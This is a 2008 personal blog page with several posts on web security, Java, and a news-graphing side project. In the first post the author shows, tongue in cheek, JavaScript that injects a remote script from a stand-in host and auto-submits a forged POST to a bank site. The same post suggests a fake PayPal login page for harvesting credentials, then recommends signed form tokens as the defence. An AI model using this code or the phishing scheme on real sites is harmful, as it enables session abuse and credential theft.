BAZOMBO: a discursive miscellany of topics

Naughtiness in three easy steps.

Wednesday, August 20 2008

First, insert your code into a page from a.example.com. XSS via SQL injection is probably the right way.

var sc = document.createElement('script');
sc.setAttribute('type','text/javascript');
sc.setAttribute('src','http://b.example.com/naughty.js');
document.getElementsByTagName("head")[0].appendChild(sc);

Second, insert the code of your choice into the DOM from http://b.example.com/naughty.js. That’s a nice-to-have; you could have put this in the first script:

var badform = document.createElement('FORM');
document.body.appendChild(badform);
// ... add appropriate fields to badform here
badform.action="http://tastybank.example.com";
badform.method = "POST"; // note that existing cookies for tastybank in this session will be sent
var f = function () {badform.submit(); return false};
f(); // we could make this an event handler on one or more DOM elements so the user really does it to themselves

Third, um, er, PROFIT.

But we don’t have to go as far as POSTing to another site. For example, suppose on inspecting a user’s history we notice they visited their PayPal account earlier. Why not redirect to a fake PayPal screen, and ask them to log in again? Quite a large proportion of users will hand over their credentials. You can harvest them and then redirect to a real PayPal screen. The possibilities are endless.

Or you can just write a Flash applet with cute kittens and do anything you want from there—I hear the Flash sandbox is kind of lax, and how else will we order Hell Pizza?.

If you own TastyBank (or PayPal) the right thing to do is put signed unique tokens in all your forms and reject any forms that don’t have a valid token. Because there are more shitty PHP forum apps out there on popular sites than we will ever be able to track down and fix.

no comments

Tags: security ~ javascript ~ DOM

Protecting your goodies on the web is hard

Tuesday, August 19 2008

Update: for commenter Rob, the presentation that sparked this post centred on a demonstration of beef.

At work the other day an ex-employee who specialises in security gave us a presentation which could be summarised thus: if you want a safe, normal web-browsing experience, you are doomed. Your browser will be compromised, your secret details stolen, and your PC turned into a zombie. This is not merely possible, but likely, and ultimately inevitable.

The slightly longer summary could be turned into bullet points like this:

• Traditionally, security focussed on protecting servers, and assumed that clients were not desirable targets.
• This isn’t true. Your PC is a desirable target:
  • You use your PC to do things of interest (like online banking)
  • Your PC can be used to attack other PCs.
• Your browser runs code (JavaScript) from untrusted sources.
• Browsers carefully run this code in a “sandbox”, with no access to your computer’s disk or to memory outside the browser, in the belief that this will protect your PC from malicious code. This won’t work:
  • First, your browser can do interesting things like make naughty requests to hack into other PCs.
  • Second, there are plenty of things that you do care about in your brower’s memory (like your online banking session) which are totally accessible from within the sandbox  can be taken advantage of.
• Many sites (wrongly) allow users to inject Javascript into pages other people can see. That Javascript can seize control of your browser when you visit such a site. (This is called “cross-site scripting”).
• It is no use expecting sites you visit to protect you. Even when the owners are told about cross-site scripting problems, they often can’t be bothered fixing them. Among them are plenty of high-profile sites which you might well visit.
• That injected Javascript can:
  • “phone home” to a master server;
  • upload any data accessible from within the sandbox;
  • make naughty requests of other computers;
  • download further instructions from the master.
• There are already automated tools out there to do all this.
• Conclusion: any time you run a browser with Javascript on, and you visit a site with injected Javascript, your browser is no longer under your control. It will cough up details of any existing secure sessions and make requests elsewhere on behalf of its new controller. YOU ARE PWNED.

This is… disappointing. Much of the fun and even some of the utility of the modern web relies on the execution of Javascript. Is there any alternative to turning off Javascript?

There are some.

1. Use Firefox with the NoScript extension. This is probably ok for people who have the time and skill to evaluate scripts and decide for themselves whether they are safe to run.

2. Whenever you use a site to do secret stuff, close all browser sessions first. Then open a fresh one. As soon as you have finished what you are doing, close your browser again. This is a painful, error-prone practise to keep up; a stop-gap measure.

3. Use Prism, and only Prism, to run things that you care about. Prism is a standalone browser based on Firefox but with no menus, no location bar, and no tool bar. When you launch a Prism-hosted application, it will run in its own browser process, unconnected to any other browser sessions. So you install Prism and configure a launcher for your online banking, a launcher for your webmail, a launcher for your sharebroker, and so on. Your session can’t be hijacked unless an attacker has compromised the actual server hosting your application.

5 comments

Tags: security

BUILD FAILED

Thursday, August 14 2008

Ant documentation:

There are three predefined formatters – one prints the test results in XML format, the other emits plain text.

no comments

Tags: java ~ ant ~ huh

Believing what people tell you

Thursday, August 14 2008

We never had a ZX Spectrum at home. After the ZX81, we got an Amstrad CPC 464. But still, those Spectrums were very popular, and I knew people who had them.

Amazingly, there are quite a few still out there serving web pages right now….

(And more seriously, there are a lot of Tomcat servers directly on the Internet. Tasty, vulnerable Tomcat servers.)

no comments

Tags: funny ~ security

Forthcoming improvements to the Ruminator

Sunday, August 03 2008

I have been experimenting with graphing Ruminator data, so that one can see trends a la the Google Zeitgeist.

On Friday Matt At Work sent around a link to a nice Canvas-based graph widget, and this was the kick in the arse I needed to get going. I have visions of being able to graph word counts over time, but also to make any given day’s data available as a histogram, and so on.

There are some real UI challenges here. Not every word you can think of appears in the news, but my corpus already has about 40,000 words in it, and there are only going to be more in future. Lookup lists are out of the question. Finally, a use case where AJAX is really justified—I’ve long admired Zoomin’s search box, and it looks like just the ticket for this kind of situation.

I’m still only part way through, because I have the dreaded lurgy and my energy levels for weekend hacking are low. However I have also discovered the Ajax Autocompleter widget from Scriptaculous, and got that working. I hope to have a page people can play with soon.

no comments

Tags: the ruminator ~ ajax ~ graphs

---